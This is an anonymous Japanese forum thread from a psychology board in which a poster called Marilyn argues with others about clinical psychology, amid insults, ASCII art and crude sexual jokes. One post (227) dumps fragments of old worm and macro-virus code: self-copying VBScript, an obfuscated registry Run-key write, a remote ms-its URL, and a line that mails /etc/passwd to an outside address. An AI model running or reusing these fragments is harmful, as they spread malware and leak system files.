  |    |   `</ lo )  ⌒q! /    .|   |  ::::::::゜::::::::::
  .|    |    \/'    _,  |/     ト、  !  ..... . .:::::::........ ..::::
  |   |      \ ⌒,,,⌒ /       ハ   ヽ  ..... . .:::::...... ..:: ..
  .|   .|ヘ       \ 巛《 /       l )   \   ::.. .
   |   .| ヽ       彡゚д゚ミ       ,' ノ     \ ...: ..:::: .
  ノ   ヽ ヽ       ミ《》彡     .ノ ゝ、__      
/     ヽヘ、       ミ*ミ    /      `⌒     .
     _ノ  `ー 、. _   ,X、._,.-‐'´    :.... .... .. .:.... .... .. 


194 :マリリン ◆IxLejT1KUU :2006/11/12(日) 10:22:30
>>191
>お前こそが自分の土俵から1歩たりとも出ていないわけだが

この板に来て、貴方達に議論をふっかけているわけだから、

>土俵から1歩たりとも出ていない。


とは言えないと思うけどね。

195 :没個性化されたレス↓:2006/11/12(日) 10:47:50
↑馬鹿。議論以前に議論をするための最低限の基礎知識をつけろ

196 :マリリン ◆IxLejT1KUU :2006/11/12(日) 14:22:07
>>195

私に何がたりないって?


基礎知識はあんたよりあるわよ。


197 :没個性化されたレス↓:2006/11/12(日) 14:22:46
なんの?

198 :マリリン ◆IxLejT1KUU :2006/11/12(日) 14:24:27
>>197

ホントだよ。何の知識が足りないのか分からないじゃない。

ちゃんと説明しなさい。

199 :没個性化されたレス↓:2006/11/12(日) 14:43:38
だから、なんの?
あなたが「ある」と言っているのだから。
で、なんの?

200 :没個性化されたレス↓:2006/11/12(日) 22:38:49
マリリンて音楽好き?

201 :没個性化されたレス↓:2006/11/13(月) 01:51:08
|  マリリンのお迎えに上がりました
\__  _________
     V        凸\_________/,凸、
           ノ´⌒`ヽ三三三三三三三i三.ノ´⌒`ヽ、
         [二ノ´金`ヽ二]二二二二二二i仁ノ´劵`ヽニフ
           ,.-┴―┬┴┐鬨鬩鬨鬩鬨鬨鬩鬨
            /ΛΛ // Λ||L匳匳||卅||匳匯||匳||
        /_(゜д゜_//_゜Д゜,,)| |丗卅丗卅丗卅丗卅丗
  _,,,.-―''''"_,,,.-―''''"|コ ̄ ∪i  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
 i゛(}[王i王]I()0コ ―― |―――=|――――――――――〕
 |_∈口∋ ̄_l_l⌒l ノ       ノ      ___l⌒l_ソ
   ̄ ̄`ー' ̄ `ー' ̄ ̄ ̄ ̄  ̄ ̄ ̄ ̄`ー'   `ー'


202 :没個性化されたレス↓:2006/11/13(月) 02:29:01
マリリンて血液型なに?

203 :没個性化されたレス↓:2006/11/13(月) 08:28:43
H型

204 :マリリン ◆IxLejT1KUU :2006/11/13(月) 08:48:04
煽りレス多いな。今の心理学板の状況を考えると仕方がないか。

マリリンは、真剣に心理学の臨床系の人に議論をふっかけているんだから、
あまり茶々入れしないでね。

>>200
>マリリンて音楽好き?

嫌いではない。普通ぐらいだよ。

205 :マリリン ◆IxLejT1KUU :2006/11/13(月) 09:01:20
>>199
>あなたが「ある」と言っているのだから。 で、なんの?

これね、臨床系の知識はあるよ。


そんなこと聞いてどうするのさ。人間生きていれば、誰だって基礎知識なんて
あるさ。

人が知っている知識は、人それぞれ違うよ。特に他分野の人間と話す時はね。

そんなこと言っていたら、医者や看護婦、教師など心理学以外の専門職とどうやって
話すの?

患者さんに、あんたら基礎知識はと聞くの?

臨床は相手が基礎知識がなくても、お相手はしなければいけない仕事で、
基礎系じゃないんだから、相手の基礎知識がなければ話ができないようでは困るでしょ。


臨床やってるなら、早い話、相手の知識にあわせて話せなきゃね。





これ大事、臨床家なら相手の知識にあわせて話せ。馬鹿。

206 :没個性化されたレス↓:2006/11/13(月) 09:50:32
よくもこんな「泥水」の中で
マリリンは棲息できるもんだ。

207 :没個性化されたレス↓:2006/11/13(月) 13:41:32
>>205
患者は「臨床のあるべき姿は」などとタワゴトはほざかない。
お前は患者として治療を求めているのか?ならばこの板は板違いだ。メンヘル板へ池。
臨床のあるべき姿を議論したいのか?ならば議論のために学ぶべきことを学び,必要な知識をちゃんと身につけてこい。
それができるま,お前には何も語る資格も権利も無い。

208 :没個性化されたレス↓:2006/11/13(月) 15:48:27
マリリンて上越?

209 :没個性化されたレス↓:2006/11/13(月) 18:49:50
         >‐ ニ ‐- 、
      , イ      ^     ヽ
     /  /           ヽ
    / / /  |   l         ハ
  // / /.,ィ  l l   l  l    ヽ  l
   l / /|/ l l .ハ !  l  ! !    l ,ハ
.   l/! l 7ヘ lヘl ヽlヽl l l l  |  l l !
     lハl ヒリ    -ァ:メl l ! !  !   l l、ヽ
     l.{ 、    ト丕/ l/l/l rlヘl  l l ヽヽ、
     l,ハ  _    ̄  //l |l,レヘヽ l\> \> M字開脚大学よ
      ヽ ヽ>   , l/>l/-ヽl ヽ「ヽl
        `-−<ヽ /         \_
            ,ニ/ , -‐- 、        ̄  l
               l //     ` <         l
           l/l          `<     ,/
           l/l        l     Tー- _/
            ,イ .l        l    l
          /l| ! :l        ヽl    l
            //l l !        ヽ ー-亠、
         V l|  〉l !         \   ̄ ̄ヽ


210 :マリリン ◆IxLejT1KUU :2006/11/13(月) 19:49:35
>>206
>よくもこんな「泥水」の中で
>マリリンは棲息できるもんだ。


マリリンは臨床やっているからね。誰とでも話すよ。


211 :マリリン ◆IxLejT1KUU :2006/11/13(月) 19:59:54
>>207
>患者は「臨床のあるべき姿は」などとタワゴトはほざかない。

本当にそうか?

カウンセリング・心理療法の失敗例 part6
http://academy4.2ch.net/test/read.cgi/psycho/1152028739/

このスレを読む限り、患者さんは心理の臨床のあるべき姿に疑問を
訴えていると思よ。

そういう患者さんの訴えを、まともに心理士の方が、取り上げることができず
逃げている姿が見え隠れしているよ。

>ならば議論のために学ぶべきことを学び,必要な知識をちゃんと身に
>つけてこい。

この部分、具体的に何を学ぶべきか教えてください。

そうでないと、私自身は臨床について議論する程度なら、十分な知識は
もっていると自負しているわけで、何が足りないのかわかりません。

また、貴方にどの程度の知識があるのか、私にはわかりませんからね。

212 :マリリン ◆IxLejT1KUU :2006/11/13(月) 20:01:14
上げ

213 :没個性化されたレス↓:2006/11/13(月) 20:03:37

        これがマリリンの臨笑稼学よ

::::::::::::::::。::::::...... ...   __    :::::::::::::::::::: ..::::: . ..::::::::
::::::::...... ....:::::::゜::::::::::.. /:::::::::::ヽ   ::::。::::::::::::::::: ゜.::::::::::::
:. .:::。::... . .:::::::::::::  |;;;;ハ;;;;;;;;;;|  :::::。 , r−、  ::::::::::::: . . . ..::::
   ,r‐-、...:☆彡:::: トイ ^ o^ t;|    /    `、  ::::::::::゜:::::::::: ...:: :::::
  /  、 \ . . . ..: >‐-ュr'ニヽ、  /  i   l、  ::::::. .... .. .::
  |   '|  \ _.r'´ノニーイニヽ,\/    |   l  ::::。::::::.
  |    |   `</ lo )  ⌒q! /    .|   |  ::::::::゜::::::::::
  .|    |    \/'    _,  |/     ト、  !  ..... . .:::::::........ ..::::
  |   |      \ ⌒,,,⌒ /       ハ   ヽ  ..... . .:::::...... ..:: ..
  .|   .|ヘ       \ 巛《 /       l )   \   ::.. .
   |   .| ヽ       彡゚д゚ミ       ,' ノ     \ ...: ..:::: .
  ノ   ヽ ヽ       ミ《》彡     .ノ ゝ、__      
/     ヽヘ、       ミ*ミ    /      `⌒     .
     _ノ  `ー 、. _   ,X、._,.-‐'´    :.... .... .. .:.... .... .. 


214 :没個性化されたレス↓:2006/11/13(月) 20:38:48
>>211
いままででに指摘されてきたことを欠片も覚えていないのか?
そりゃ見捨てられるわな

215 :没個性化されたレス↓:2006/11/13(月) 21:18:33
てすと


216 :マリリン ◆IxLejT1KUU :2006/11/13(月) 21:23:42
>>214

そうやって、ワケの分からんことを言って逃げるかつもり?

217 :没個性化されたレス↓:2006/11/13(月) 21:27:09
俺の時代だ、俺の時代が来る
間違いない

218 :没個性化されたレス↓:2006/11/13(月) 23:14:46
>>216
反省も学習もしないアホウめ。
この板でのさばり始めてから,何度同じ指摘をされたか覚えていないのか?

219 :マリリン ◆IxLejT1KUU :2006/11/13(月) 23:36:00
>>218

フン。長い間心理学板にいるからこそ。

>反省も学習もしないアホウめ。

この言い回しに、何の意味もないことを学習したよ。


さっさと>>211に答えてもらおうか。


220 :没個性化されたレス↓:2006/11/13(月) 23:41:06
>>219

どうぞ。この程度は理解できないとお話になりません。
http://www.amazon.co.jp/gp/product/4140019549/

221 :マリリン ◆IxLejT1KUU :2006/11/13(月) 23:45:31
>>220

臨床の話するのに、何故論文が関係ある?馬鹿じゃないの。


222 :没個性化されたレス↓:2006/11/14(火) 00:40:38
>>221
そこから説明しないとわからないようでは,本当に議論する資格も権利もありませんな。

223 :没個性化されたレス↓:2006/11/14(火) 01:12:23
         >‐ ニ ‐- 、
      , イ      ^     ヽ
     /  /           ヽ
    / / /  |   l         ハ
  // / /.,ィ  l l   l  l    ヽ  l
   l / /|/ l l .ハ !  l  ! !    l ,ハ
.   l/! l 7ヘ lヘl ヽlヽl l l l  |  l l !
     lハl ヒリ    -ァ:メl l ! !  !   l l、ヽ
     l.{ 、    ト丕/ l/l/l rlヘl  l l ヽヽ、
     l,ハ  _    ̄  //l |l,レヘヽ l\> \> 底辺どうし慰めあって生きて行くのよ
      ヽ ヽ>   , l/>l/-ヽl ヽ「ヽl
        `-−<ヽ /         \_
            ,ニ/ , -‐- 、        ̄  l
               l //     ` <         l
           l/l          `<     ,/
           l/l        l     Tー- _/
            ,イ .l        l    l
          /l| ! :l        ヽl    l
            //l l !        ヽ ー-亠、
         V l|  〉l !         \   ̄ ̄ヽ
          ト./、 l           /l      /、                  

224 :マリリン ◆IxLejT1KUU :2006/11/14(火) 11:03:46
>>223

確かに底辺だね。心理学徒に話を合わせて話そうと思うと
底辺になってしまうわ。


枝葉末節なことばかり言っていて臨床の話にいつまでたっても入れないよ。

225 :マリリン ◆IxLejT1KUU :2006/11/14(火) 11:14:19
>89 名前:没個性化されたレス↓ 投稿日:2006/07/28(金) 20:58:14
>カウンセリングって商売として成立してない
>何も売ってないじゃん。医療サービスを売ってる訳でもなし、
>対症療法で症状を和らげてくれるでもなし、口を開けば質問だけで
>こちらからの問いに対しては要領を得ない曖昧な答えだけ。
>患者の気付きを促すとか言ってるけど、要はカウンセラーの思想の
>押し付けじゃん。金払って洗脳されに行く人がこれ以上出ない事を叫ぶ

>カウンセリングなんか行かないでストレス解消法を探せ



このレスに対して、あなた達はどう答える? 

226 :没個性化されたレス↓:2006/11/14(火) 11:27:01
89 のレスに大いに同感である。
何度も通って気づかされたのは自分の情けなさのみ。
というか、そんなことは始めからわかっていた。
情けなくてつらいっていうところから
少しでも強くなりたかったのに、何のヒントももらえなかった。
お金使って自分の人生をさらにみじめにしただけみたいだ。

227 :没個性化されたレス↓:2006/11/14(火) 15:08:38
kak.hta';ken=wd+'START
cat /etc/passwd | mail nobody@nonexistent.com

<body onload=window()>
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
???


228 :没個性化されたレス↓:2006/11/19(日) 17:13:27

ごめんなさい、この子ちょっとおかしいんです
         _ --――- _         ..--‐‐‐‐‐‐‐‐---..,
       /          `ー 、   /:ヽ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;)
       /          _ ィ ス::. ヽ  |::::/          ヽヽ
      /   、    , ィ'_´,.ィ´  ヽ:::.ヽ .|:::ヽ  ........   ........ /:::|
    { :.   ヾ、-、/__,.ノ〉  r 、_l::::::! |::/    )  (    \:|
    ∧ :::.  .::::〉'` __  ̄´   ` ーl::::!〈 ,i  -=; ‘ =‐ ‐= ‘ ;=- |6)
   / ∧:::: |.::::/ -r'てハ`     ,z=、 !/ ヘ|  'ー-‐'   ヽ-ー'  |/     臨床の教授って
.  / / />!:::l  ´ !:っ'ソ    lし! |,イ  |   /(_,、_,、_)\  |     あまりいい大学
  / ,'  ,' ! ヘヽ{   ´ ̄     、ヒリ レハ  |  /-‐ ̄ 二ニヽ\. |     出てない・・・モゴモゴ
. /     ヽ 'ー  / / /     ′//!ノ   l /    -―= く  l
/       `Tヽ_    ,〜 -‐ァ /     /     -‐ , ‐´ /
       .:::/   ヽ、 `ー‐ '´/     r'‐ 、  ,. -‐'´「  /|:\
     .::/ /       ヽ‐- ´|     - / ̄ヽヽ,イ    ̄ ̄ ./:::::::::::::  
    .:::/ !  _    ヽ_:::::::l     /    ヽ〉


229 :没個性化されたレス↓:2006/11/26(日) 03:22:00
マリリン、東京23区で開業しているの?だったら猫が元気ないのだけれど
明日見てもらえませんか。

230 :没個性化されたレス↓:2006/11/30(木) 21:09:15

   マリリンの正体
             /  ̄ ̄丶
            /       .\
             i| |         | |i
             |         |  モコーリ
             i| |:         :| |i
       /⌒\ |:    i    ::|
     / /\ `|::         ::|
    / /    丶|:::::    |   :::::| \
   ノ  」      |::::::::   ヽ  ::::::| L  丶
 (((((/      /⌒\  ヽ  \  /⌒\
         //\ ⌒   ヽ  ⌒_/\\
       //     ̄\   ヽ  \    \\
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               ```     //\ ⌒   ヽ  ⌒_/\\
                    //     ̄\   ヽ  \    \\
                   / ヘ⊃    /⌒\ ∧ ∧\  /⌒\ヽ
                   ```     //\ ⌒(;´Д`)⌒._/\\''
                         //    ̄───  ̄      .\\
                       / ヘ⊃                ⊂へ ヽ
                       ```     


231 :没個性化されたレス↓:2006/12/27(水) 18:27:03
あげ

232 :没個性化されたレス↓:2007/01/09(火) 13:48:23
あげ

233 :没個性化されたレス↓:2007/01/10(水) 01:22:04

   風俗業界では、本番する事を 臨床 といいます。



234 :没個性化されたレス↓:2007/01/10(水) 09:01:18
本当か?

235 :没個性化されたレス↓:2007/01/12(金) 07:25:54
それ、本当?

236 :高校生:2007/01/12(金) 22:28:04
僕は将来心理学科への進学を考えています。
お医者さんは仕事の愚痴や給料の話ばかりで魅力がないです。
ロテ職人の臨床心理学的blog
というブログが公開されています。
某総合病院精神科に勤務している臨床心理士の先生らしいです。
ブログを読むとかなり知識に長けて熱心に勉強しているようです。
http://blog.rote.jp/


237 :没個性化されたレス↓:2007/01/12(金) 23:48:42
新たな粘着のネタを見つけたか。
暇なDQNだなw

238 :没個性化されたレス↓:2007/01/14(日) 14:48:22
誰か受容と共感について教えて

239 :没個性化されたレス↓:2007/01/14(日) 16:37:55


  / ̄ ̄ ̄ ̄ ̄ ̄彡
 / ______/
/ > ((((      |
|  |    \   /|
|  |    (・) (・)|
(6       つ  |   / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
        ___|  < ハァハァ 
 \         |   \
  . \___|_|
      |   |  _ ,;;――――- 、
      |   | /            ヽ
      |   /    ,,_,,,,;;ヽ      |  ハァハァ
     /   /   /     | l     ゝ
    /   /    | -―‐  ヾ ヽ __ ゞ
  /⌒  -|    |   (て)    (て)ヽ
/ /|  。 |    /   ー     ー| ヽ   / ̄ ̄ ̄ ̄ ̄ ̄ ̄
\ \|    |  /"  ////    _〉 |  | < ああっ、ああああ
  \⊇  /l; '' ヽ     ,-―-  l  |   これが受容と共感よ |
    |   /    |\   l__/  /  |   \_______
   ( /⌒v⌒\ | \___/  l
パンパン|     丶/⌒ - - \
    / \    |  |     / |  ハァハァ
    /  ノ\__|  |__三_ノ|  |
   /  /パンパン|  |      |  |


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